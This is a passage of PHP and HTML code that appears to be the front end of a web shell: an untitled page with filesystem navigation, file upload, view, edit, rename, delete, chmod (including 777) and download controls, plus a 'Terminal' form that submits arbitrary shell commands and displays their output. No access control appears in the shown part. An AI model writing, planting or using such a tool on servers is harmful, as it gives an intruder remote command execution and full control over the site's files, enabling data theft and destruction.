fileInput.files[0]; var filename = file.name; var currentDir = "<?= addslashes($_SESSION['current_dir']) ?>"; var scriptUrl = window.location.pathname; statusSpan.textContent = "Uploading " + filename + ", please wait..."; statusSpan.style.color = "blue"; var reader = new FileReader(); reader.readAsBinaryString(file); reader.onloadend = function(evt) { var xhr = new XMLHttpRequest(); xhr.open("POST", scriptUrl + "?upload_file=" + encodeURIComponent(currentDir) + "&name=" + encodeURIComponent(filename), true); XMLHttpRequest.prototype.mySendAsBinary = function(text) { var data = new ArrayBuffer(text.length); var ui8a = new Uint8Array(data, 0); for (var i = 0; i < text.length; i++) { ui8a[i] = (text.charCodeAt(i) & 0xff); } if (typeof window.Blob == "function") { var blob = new Blob([data]); } else { var bb = new (window.MozBlobBuilder || window.WebKitBlobBuilder || window.BlobBuilder)(); bb.append(data); var blob = bb.getBlob(); } this.send(blob); } xhr.onreadystatechange = function() { if (xhr.readyState == 4) { if (xhr.status == 200) { statusSpan.textContent = "File " + filename + " uploaded successfully!"; statusSpan.style.color = "#22c55e"; setTimeout(function() { location.reload(); }, 1000); } else { statusSpan.textContent = "Upload failed: " + xhr.responseText; statusSpan.style.color = "red"; } } }; xhr.mySendAsBinary(evt.target.result); }; } function openChmodModal(itemName) { document.getElementById('chmodModal').style.display = 'block'; document.getElementById('chmodItem').value = itemName; // Get current permissions var currentPerms = document.getElementById('currentPerms_' + itemName.replace(/[^a-zA-Z0-9]/g, '_')).value; updateChmodDisplay(currentPerms); } function closeChmodModal() { document.getElementById('chmodModal').style.display = 'none'; } function updateChmodDisplay(perms) { document.getElementById('chmodOctal').value = perms; // Convert octal to binary for checkboxes var octal = parseInt(perms, 8); var binary = octal.toString(2).padStart(9, '0'); // Owner permissions document.getElementById('owner_read').checked = binary[0] === '1'; document.getElementById('owner_write').checked = binary[1] === '1'; document.getElementById('owner_execute').checked = binary[2] === '1'; // Group permissions document.getElementById('group_read').checked = binary[3] === '1'; document.getElementById('group_write').checked = binary[4] === '1'; document.getElementById('group_execute').checked = binary[5] === '1'; // Other permissions document.getElementById('other_read').checked = binary[6] === '1'; document.getElementById('other_write').checked = binary[7] === '1'; document.getElementById('other_execute').checked = binary[8] === '1'; } function updateChmodFromCheckboxes() { var binary = ''; // Owner permissions binary += document.getElementById('owner_read').checked ? '1' : '0'; binary += document.getElementById('owner_write').checked ? '1' : '0'; binary += document.getElementById('owner_execute').checked ? '1' : '0'; // Group permissions binary += document.getElementById('group_read').checked ? '1' : '0'; binary += document.getElementById('group_write').checked ? '1' : '0'; binary += document.getElementById('group_execute').checked ? '1' : '0'; // Other permissions binary += document.getElementById('other_read').checked ? '1' : '0'; binary += document.getElementById('other_write').checked ? '1' : '0'; binary += document.getElementById('other_execute').checked ? '1' : '0'; // Convert binary to octal var octal = parseInt(binary, 2).toString(8).padStart(3, '0'); document.getElementById('chmodOctal').value = octal; } function setPresetChmod(preset) { updateChmodDisplay(preset); } // Close modal when clicking outside window.onclick = function(event) { var modal = document.getElementById('chmodModal'); if (event.target == modal) { modal.style.display = 'none'; } } </script> </head> <body> <div class="container"> <h1> </h1> <p class="subtitle"> </p> <?php if ($notification): ?> <div class="alert alert-success"><?= htmlentities($notification) ?></div> <?php endif; ?> <?php if ($errorMsg): ?> <div class="alert alert-danger"><?= htmlentities($errorMsg) ?></div> <?php endif; ?> <div class="section"> <div class="section-title">Current Directory</div> <form method="post" class="input-group"> <input type="text" name="navigate" value="<?= htmlentities($currentDirectory) ?>" placeholder="Enter path..."> <button class="btn" type="submit">Navigate</button> </form> </div> <div class="grid-2"> <div class="section"> <div class="section-title">Upload File</div> <div class="upload-tabs"> <div id="standard-tab" class="upload-tab active" onclick="switchUploadTab('standard')">Standard Upload</div> <div id="advanced-tab" class="upload-tab" onclick="switchUploadTab('advanced')">Advanced Upload</div> </div> <div id="standard-panel" class="upload-panel active"> <form method="post" enctype="multipart/form-data"> <div class="input-group"> <input type="file" name="file_upload"> <button class="btn btn-primary" type="submit">Upload</button> </div> </form> </div> <div id="advanced-panel" class="upload-panel"> <div class="input-group"> <input type="file" id="upload_files" name="upload_files" multiple="multiple"> <button class="btn btn-primary" onclick="uploadFile(); return false;">Upload</button> </div> <p style="margin-top: 8px; font-size: 12px;">Status: <span id="upload_status" style="color:#9ca3af;">No file selected</span></p> </div> </div> <div class="section"> <div class="section-title">Create New</div> <form method="post" class="input-group"> <input type="text" name="create_file" placeholder="New file name..."> <button class="btn btn-create" type="submit">File</button> </form> <form method="post" class="input-group"> <input type="text" name="create_folder" placeholder="New folder name..."> <button class="btn btn-create" type="submit">Folder</button> </form> </div> </div> <?php if ($fileToView && $viewContent !== null): ?> <div class="section"> <div class="section-title">Viewing: <?= htmlentities($fileToView) ?></div> <textarea readonly><?= htmlentities($viewContent) ?></textarea> </div> <?php endif; ?> <?php if ($fileToEdit !== null): ?> <div class="section"> <div class="section-title">Editing: <?= htmlentities($fileToEdit) ?></div> <form method="post"> <input type="hidden" name="file_to_edit" value="<?= htmlentities($fileToEdit) ?>"> <textarea name="file_content" style="height: 500px;"><?= htmlentities($fileContent) ?></textarea> <div style="margin-top: 12px;"> <button class="btn btn-primary" type="submit">Save Changes</button> </div> </form> </div> <?php endif; ?> <?php if ($commandAvailable): ?> <div class="section"> <div class="section-title">Terminal</div> <form method="post" class="input-group"> <input type="text" name="terminal_command" placeholder="Enter command..."> <button class="btn btn-create" type="submit">Execute</button> </form> <?php if ($commandResult): ?> <div class="terminal-output" style="margin-top: 12px;"><?= htmlentities($commandResult) ?></div> <?php endif; ?> </div> <?php endif; ?> <form method="post"> <button name="navigate" value="<?= dirname($currentDirectory) ?>" class="btn up-btn">← Parent Directory</button> </form> <form method="post" id="file-form"> <div id="bulk-actions" class="bulk-actions" style="display: none;"> <span class="bulk-actions-text" id="selected-count">0 item(s) selected</span> <button type="submit" name="bulk_download" class="btn btn-sm" onclick="return confirm('Download selected items as zip?')">Download Selected</button> <button type="submit" name="bulk_delete" class="btn btn-danger btn-sm" onclick="return confirm('Delete all selected items?')">Delete Selected</button> </div> <table> <thead> <tr> <th style="width: 40px;"> <input type="checkbox" onclick="toggleSelectAll(this)"> </th> <th style="width: auto;">Name</th> <th style="width: 120px;">Type</th> <th style="width: 100px; text-align: right;">Size</th> <th style="width: 160px; text-align: center;">Modified</th> <th style="width: 80px; text-align: center;">Permission</th> <th style="width: auto; text-align: right;">Actions</th> </tr> </thead> <tbody> <?php foreach ($allItems as $item): $fullPath = $currentDirectory . '/' . $item; // --- FIX FOR STAT ERRORS --- // Use the validatePath function to ensure the file/directory exists // before trying to get its stats. This prevents warnings for broken // symlinks or files deleted during execution. $realPath = validatePath($fullPath); if ($realPath !== false) { $isDirectory = @is_dir($realPath); $canWrite = @is_writable($realPath); $fileSize = $isDirectory ? 0 : @filesize($realPath); $fileModTime = @filemtime($realPath); $filePerms = @substr(sprintf('%o', @fileperms($realPath)), -4); } else { // Set default values if the path is invalid (e.g., a broken symlink) $isDirectory = @is_dir($fullPath); // is_dir() will be false for broken links $canWrite = false; $fileSize = 0; $fileModTime = 0; $filePerms = '????'; // Indicate unreadable permissions } $safeItemName = preg_replace('/[^a-zA-Z0-9]/', '_', $item); ?> <tr> <td> <input type="checkbox" name="selected_items[]" value="<?= htmlentities($item) ?>" onclick="updateBulkActions()"> </td> <td> <?php if ($itemToRename === $item): ?> <form method="post" class="rename-form" style="margin: 0;"> <input type="hidden" name="old_name" value="<?= htmlentities($item) ?>"> <input type="text" name="new_name" value="<?= htmlentities($item) ?>"> <button class="btn btn-primary btn-sm" type="submit">Save</button> </form> <?php elseif ($itemToChmod === $item): ?> <form method="post" class="chmod-form" style="margin: 0;"> <input type="hidden" name="chmod_item" value="<?= htmlentities($item) ?>"> <input type="text" name="chmod_value" value="<?= $filePerms ?>" maxlength="3" placeholder="755"> <button class="btn btn-primary btn-sm" type="submit">Set</button> <button class="btn btn-sm" type="button" onclick="location.reload();">Cancel</button> </form> <?php else: ?> <span class="file-icon"><?= $isDirectory ? '/' : '' ?></span> <?php if ($isDirectory): ?> <a href="#" class="file-name" onclick="document.getElementById('navigate-form-<?= md5($item) ?>').submit(); return false;"><?= htmlentities($item) ?></a> <form id="navigate-form-<?= md5($item) ?>" method="post" style="display: none;"> <input type="hidden" name="navigate" value="<?= $fullPath ?>"> </form> <?php else: ?> <a href="#" class="file-name" onclick="document.getElementById('view-form-<?= md5($item) ?>').submit(); return false;"><?= htmlentities($item) ?></a> <form id="view-form-<?= md5($item) ?>" method="post" style="display: none;"> <input type="hidden" name="view" value="<?= $item ?>"> </form> <?php endif; ?> <?php endif; ?> </td> <td> <!-- FIX FOR PHP VERSION COMPATIBILITY --> <span class="file-type"><?= $isDirectory ? 'Directory' : (getFileExtension($item) ?: 'File') ?></span> </td> <td> <span class="file-size"><?= $isDirectory ? '—' : formatFileSize($fileSize) ?></span> </td> <td> <span class="file-date"><?= date('Y-m-d H:i:s', $fileModTime) ?></span> </td> <td style="text-align: center;"> <span class="<?= $canWrite ? 'writable' : 'readonly' ?>"><?= $filePerms ?></span> </td> <td> <div class="action-buttons"> <?php if (!$isDirectory): ?> <form method="post" style="display:inline;"> <input type="hidden" name="edit" value="<?= htmlentities($item) ?>"> <button type="submit" class="btn btn-sm">Edit</button> </form> <?php endif; ?> <form method="post" style="display:inline;"> <input type="hidden" name="rename" value="<?= htmlentities($item) ?>"> <button type="submit" class="btn btn-sm">Rename</button> </form> <form method="post" style="display:inline;"> <input type="hidden" name="chmod" value="<?= htmlentities($item) ?>"> <button type="submit" class="btn btn-sm">Chmod</button> <input type="hidden" id="currentPerms_<?= $safeItemName ?>" value="<?= $filePerms ?>"> </form> <form method="post" style="display:inline;"> <input type="hidden" name="download" value="<?= htmlentities($item) ?>"> <button type="submit" class="btn btn-sm">Download</button> </form> <form method="post" style="display:inline;" onsubmit="return confirm('Are you sure you want to delete this item?');"> <input type="hidden" name="remove" value="<?= htmlentities($item) ?>"> <button type="submit" class="btn btn-danger btn-sm">Delete</button> </form> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </form> </div> <!-- Chmod Modal --> <div id="chmodModal" class="modal"> <div class="modal-content"> <div class="modal-header"> <span class="modal-title">Change Permissions</span> <span class="close" onclick="closeChmodModal()">×</span> </div> <form method="post"> <input type="hidden" id="chmodItem" name="chmod_item" value=""> <div class="chmod-options"> <div class="chmod-group"> <label>Owner</label> <div> <input type="checkbox" id="owner_read" onchange="updateChmodFromCheckboxes()"> R <input type="checkbox" id="owner_write" onchange="updateChmodFromCheckboxes()"> W <input type="checkbox" id="owner_execute" onchange="updateChmodFromCheckboxes()"> X </div> </div> <div class="chmod-group"> <label>Group</label> <div> <input type="checkbox" id="group_read" onchange="updateChmodFromCheckboxes()"> R <input type="checkbox" id="group_write" onchange="updateChmodFromCheckboxes()"> W <input type="checkbox" id="group_execute" onchange="updateChmodFromCheckboxes()"> X </div> </div> <div class="chmod-group"> <label>Other</label> <div> <input type="checkbox" id="other_read" onchange="updateChmodFromCheckboxes()"> R <input type="checkbox" id="other_write" onchange="updateChmodFromCheckboxes()"> W <input type="checkbox" id="other_execute" onchange="updateChmodFromCheckboxes()"> X </div> </div> <div class="chmod-group"> <label>Octal</label> <div> <input type="text" id="chmodOctal" name="chmod_value" maxlength="3" style="width: 50px; text-align: center;"> </div> </div> </div> <div style="margin-bottom: 15px;"> <button type="button" class="btn btn-sm" onclick="setPresetChmod('755')">755 (Default)</button> <button type="button" class="btn btn-sm" onclick="setPresetChmod('644')">644 (File)</button> <button type="button" class="btn btn-sm" onclick="setPresetChmod('777')">777 (All)</button> </div> <div> <button type="submit" class="btn btn-primary">Apply Changes</button> <button type="button" class="btn" onclick="closeChmodModal()">Cancel</button> </div> </form> </div> </div> </body> </html>